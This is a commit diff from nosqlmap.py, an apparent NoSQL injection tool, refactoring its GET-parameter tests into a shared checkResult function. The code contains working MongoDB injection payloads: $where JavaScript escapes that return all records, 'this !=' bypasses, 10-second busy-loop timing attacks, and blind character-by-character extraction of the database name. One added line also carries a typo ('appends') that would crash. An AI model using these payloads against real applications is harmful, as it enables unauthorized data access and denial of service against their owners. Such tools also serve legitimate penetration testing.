Skip to content

Commit 9cd7980

Browse files
tcstooltcstool
committed
Restructured GET to use consolidated calculation method
1 parent 33897f6 commit 9cd7980

File tree

1 file changed

+139
-158
lines changed

1 file changed

+139
-158
lines changed

‎nosqlmap.py

Lines changed: 139 additions & 158 deletions
Original file line numberDiff line numberDiff line change
@@ -1007,8 +1007,12 @@ def webApps():
10071007
print "Web App Attacks (GET)"
10081008
print "==============="
10091009
paramName = []
1010+
global testNum
1011+
testNum = 1
10101012
paramValue = []
1013+
global vulnAddrs
10111014
vulnAddrs = []
1015+
global possAddrs
10121016
possAddrs = []
10131017
timeVulnsStr = []
10141018
timeVulnsInt = []
@@ -1017,7 +1021,13 @@ def webApps():
10171021
intTbAttack = False
10181022
trueStr = False
10191023
trueInt = False
1024+
global lt24
10201025
lt24 = False
1026+
global str24
1027+
str24 = False
1028+
global int24
1029+
int24 = False
1030+
10211031

10221032
#Verify app is working.
10231033
print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
@@ -1037,7 +1047,11 @@ def webApps():
10371047

10381048

10391049

1040-
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
1050+
if verb == "ON":
1051+
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
1052+
1053+
else:
1054+
print "App is up!"
10411055
appUp = True
10421056

10431057
else:
@@ -1054,7 +1068,12 @@ def webApps():
10541068
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
10551069
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
10561070
randomUri = buildUri(appURL,injectString)
1057-
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
1071+
1072+
if verb == "ON":
1073+
print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
1074+
else:
1075+
print "Sending random parameter value..."
1076+
10581077
randLength = int(len(urllib.urlopen(randomUri).read()))
10591078
print "Got response length of " + str(randLength) + "."
10601079

@@ -1063,177 +1082,92 @@ def webApps():
10631082
if randNormDelta == 0:
10641083
print "No change in response size injecting a random parameter..\n"
10651084
else:
1066-
print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n"
1085+
print "Random value variance: " + str(randNormDelta) + "\n"
10671086

1068-
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
1087+
if verb == "ON":
1088+
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
1089+
else:
1090+
print "Test 1: PHP associative array injection"
10691091
injLen = int(len(urllib.urlopen(uriArray[1]).read()))
1070-
print "Got response length of " + str(injLen) + "."
1071-
1072-
randInjDelta = abs(injLen - randLength)
1073-
1074-
if (randInjDelta >= 100) and (injLen != 0) :
1075-
print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!"
1076-
vulnAddrs.append(uriArray[1])
1077-
1078-
elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
1079-
print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
1080-
possAddrs.append(uriArray[1])
1081-
1082-
elif (randInjDelta == 0):
1083-
print "Random string response size and not equals injection were the same. Injection did not work."
1092+
1093+
if verb == "ON":
1094+
print "Got response length of " + str(injLen) + "."
1095+
checkResult(randLength,injLen,testNum)
1096+
testNum += 1
1097+
print "\n"
1098+
1099+
if verb == "ON":
1100+
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
1101+
print "Injecting " + uriArray[2]
10841102
else:
1085-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1086-
possAddrs.append(uriArray[1])
1087-
1088-
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
1089-
print "Injecting " + uriArray[2]
1090-
1091-
whereStrLen = int(len(urllib.urlopen(uriArray[2]).read()))
1092-
whereStrDelta = abs(whereStrLen - randLength)
1093-
1094-
if (whereStrDelta >= 100) and (whereStrLen > 0):
1095-
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
1096-
lt24 = True
1097-
str24 = True
1098-
vulnAddrs.append(uriArray[2])
1099-
1100-
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
1101-
print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1102-
possAddrs.append(uriArray[2])
1103-
1104-
elif (whereStrDelta == 0):
1105-
print "Random string response size and $where injection were the same. Injection did not work."
1103+
print "Test 2: $where injection (string escape)"
11061104

1107-
else:
1108-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1109-
possAddrs.append(uriArray[2])
1105+
injLen = int(len(urllib.urlopen(uriArray[2]).read()))
1106+
checkResult(randLength,injLen,testNum)
1107+
testNum += 1
11101108

11111109
print "\n"
1112-
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
1113-
print "Injecting " + uriArray[3]
1114-
1115-
whereIntLen = int(len(urllib.urlopen(uriArray[3]).read()))
1116-
whereIntDelta = abs(whereIntLen - randLength)
1117-
1118-
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
1119-
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
1120-
lt24 = True
1121-
int24 = True
1122-
vulnAddrs.append(uriArray[3])
1123-
1124-
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
1125-
print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1126-
possAddrs.append(uriArray[3])
1127-
1128-
elif (whereIntDelta == 0):
1129-
print "Random string response size and $where injection were the same. Injection did not work."
1130-
1110+
if verb == "ON":
1111+
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
1112+
print "Injecting " + uriArray[3]
11311113
else:
1132-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1133-
possAddrs.append(uriArray[3])
1134-
1135-
#Start a single record attack in case the app expects only one record back
1136-
1137-
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
1138-
print " Injecting " + uriArray[4]
1139-
1140-
1141-
whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read()))
1142-
whereOneStrDelta = abs(whereOneStrLen - randLength)
1143-
1144-
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
1145-
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
1146-
lt24 = True
1147-
str24 = True
1148-
vulnAddrs.append(uriArray[4])
1149-
1150-
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
1151-
print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1152-
possAddrs.append(uriArray[4])
1153-
1154-
elif (whereOneStrDelta == 0):
1155-
print "Random string response size and $where single injection were the same. Injection did not work."
1114+
print "Test 3: $where injection (integer escape)"
11561115

1116+
injLen = int(len(urllib.urlopen(uriArray[3]).read()))
1117+
checkResult(randLength,injLen,testNum)
1118+
testNum +=1
1119+
1120+
#Start a single record attack in case the app expects only one record back
1121+
print "\n"
1122+
if verb == "ON":
1123+
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
1124+
print " Injecting " + uriArray[4]
11571125
else:
1158-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1159-
possAddrs.append(uriArray[4])
1160-
1161-
print "\n"
1162-
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
1163-
print " Injecting " + uriArray[5]
1126+
print "Test 4: $where injection string escape (single record)"
11641127

11651128

1166-
whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read()))
1167-
whereOneIntDelta = abs(whereOneIntLen - randLength)
1168-
1169-
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
1170-
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
1171-
lt24 = True
1172-
int24 = True
1173-
vulnAddrs.append(uriArray[5])
1174-
1175-
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
1176-
print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1177-
possAddrs.append(uriArray[5])
1178-
1179-
elif (whereOneIntDelta == 0):
1180-
print "Random string response size and $where single record injection were the same. Injection did not work."
1181-
1182-
else:
1183-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1184-
possAddrs.append(uriArray[5])
1185-
1129+
injLen = int(len(urllib.urlopen(uriArray[4]).read()))
1130+
checkResult(randLength,injLen,testNum)
1131+
testNum += 1
1132+
11861133
print "\n"
1187-
print "Testing Mongo this not equals string escape attack for all records..."
1188-
print " Injecting " + uriArray[8]
1189-
1190-
whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read()))
1191-
whereThisStrDelta = abs(whereThisStrLen - randLength)
1192-
1193-
if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0):
1194-
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
1195-
vulnAddrs.append(uriArray[8])
1134+
if verb == "ON":
1135+
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
1136+
print " Injecting " + uriArray[5]
1137+
else:
1138+
print "Test 5: $where injection integer escape (single record)"
11961139

1197-
elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0):
1198-
print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1199-
possAddrs.append(uriArray[8])
1200-
1201-
elif (whereThisStrDelta == 0):
1202-
print "Random string response size and this return response size were the same. Injection did not work."
1203-
1204-
else:
1205-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1206-
possAddrs.append(uriArray[8])
1140+
injLen = int(len(urllib.urlopen(uriArray[5]).read()))
1141+
checkResult(randLength,injLen,testNum)
1142+
testNum +=1
12071143

12081144
print "\n"
1209-
print "Testing Mongo this not equals integer escape attack for all records..."
1210-
print " Injecting " + uriArray[9]
1211-
1212-
whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read()))
1213-
whereThisIntDelta = abs(whereThisIntLen - randLength)
1214-
1215-
if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0):
1216-
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
1217-
vulnAddrs.append(uriArray[9])
1218-
1219-
elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0):
1220-
print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
1221-
possAddrs.append(uriArray[9])
1222-
1223-
elif (whereThisIntDelta == 0):
1224-
print "Random string response size and this return response size were the same. Injection did not work."
1145+
if verb == "ON":
1146+
print "Testing Mongo this not equals string escape attack for all records..."
1147+
print " Injecting " + uriArray[6]
1148+
else:
1149+
print "Test 6: This != injection (string escape)"
1150+
injLen = int(len(urllib.urlopen(uriArray[6]).read()))
1151+
checkResult(randLength,injLen,testNum)
1152+
testNum += 1
12251153

1226-
else:
1227-
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1228-
possAddrs.append(uriArray[9])
1154+
print "\n"
1155+
if verb == "ON":
1156+
print "Testing Mongo this not equals integer escape attack for all records..."
1157+
print " Injecting " + uriArray[7]
1158+
else:
1159+
print "Test 7: This != injection (integer escape)"
1160+
injLen = int(len(urllib.urlopen(uriArray[7]).read()))
1161+
checkResult(randLength,injLen,testNum)
1162+
testNum += 1
12291163

12301164
print "\n"
12311165
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
12321166

12331167
if doTimeAttack == "y" or doTimeAttack == "Y":
12341168
print "Starting Javascript string escape time based injection..."
12351169
start = time.time()
1236-
strTimeInj = urllib.urlopen(uriArray[6])
1170+
strTimeInj = urllib.urlopen(uriArray[8])
12371171
page = strTimeInj.read()
12381172
end = time.time()
12391173
strTimeInj.close()
@@ -1251,7 +1185,7 @@ def webApps():
12511185

12521186
print "Starting Javascript integer escape time based injection..."
12531187
start = time.time()
1254-
intTimeInj = urllib.urlopen(uriArray[7])
1188+
intTimeInj = urllib.urlopen(uriArray[9])
12551189
page = intTimeInj.read()
12561190
end = time.time()
12571191
intTimeInj.close()
@@ -1319,8 +1253,55 @@ def webApps():
13191253
fo.close()
13201254

13211255
raw_input("Press enter to continue...")
1322-
return()
1256+
return()
13231257

1258+
def checkResult(baseSize,respSize,testNum):
1259+
global vulnAddrs
1260+
global possAddrs
1261+
global lt24
1262+
global str24
1263+
global int24
1264+
1265+
delta = abs(respSize - baseSize)
1266+
if (delta >= 100) and (respSize != 0) :
1267+
if verb == "ON":
1268+
print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
1269+
else:
1270+
print "Successful injection!"
1271+
1272+
1273+
vulnAddrs.append(uriArray[testNum])
1274+
if testNum == 2 or testNum == 4:
1275+
lt24 = True
1276+
str24 = True
1277+
1278+
elif testNum == 3 or testNum == 5:
1279+
lt24 = True
1280+
int24 = True
1281+
return
1282+
1283+
elif (delta > 0) and (delta < 100) and (respSize != 0) :
1284+
if verb == "ON":
1285+
print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. "
1286+
else:
1287+
print "Possible injection."
1288+
possAddrs.append(uriArray[testNum])
1289+
return
1290+
1291+
elif (delta == 0):
1292+
if verb == "ON":
1293+
print "Random string response size and not equals injection were the same. Injection did not work."
1294+
else:
1295+
print "Injection failed."
1296+
return
1297+
else:
1298+
if verb == "ON":
1299+
print "Injected response was smaller than random response. Injection may have worked but requires verification."
1300+
else:
1301+
print "Possible injection."
1302+
possAddrs.appends(uriArray[testNum])
1303+
return
1304+
13241305
def randInjString(size):
13251306
print "What format should the random string take?"
13261307
print "1-Alphanumeric"
@@ -1419,10 +1400,10 @@ def buildUri(origUri, randValue):
14191400
uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
14201401
uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
14211402
uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
1422-
uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
1423-
uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
1424-
uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
1425-
uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
1403+
uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
1404+
uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
1405+
uriArray[8] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
1406+
uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
14261407
uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&"
14271408
uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&"
14281409
uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
@@ -1654,7 +1635,7 @@ def getDBInfo():
16541635
print "Calculating DB name length..."
16551636

16561637
while gotNameLen == False:
1657-
calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&")
1638+
calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
16581639
#print "Debug: " + calcUri
16591640
lenUri = int(len(urllib.urlopen(calcUri).read()))
16601641
#print "Debug length: " + str(lenUri)
@@ -1668,7 +1649,7 @@ def getDBInfo():
16681649

16691650
print "Database Name: ",
16701651
while gotDbName == False:
1671-
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&")
1652+
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
16721653
#print "Debug: " + charUri
16731654

16741655
lenUri = int(len(urllib.urlopen(charUri).read()))

0 commit comments

Comments
 (0)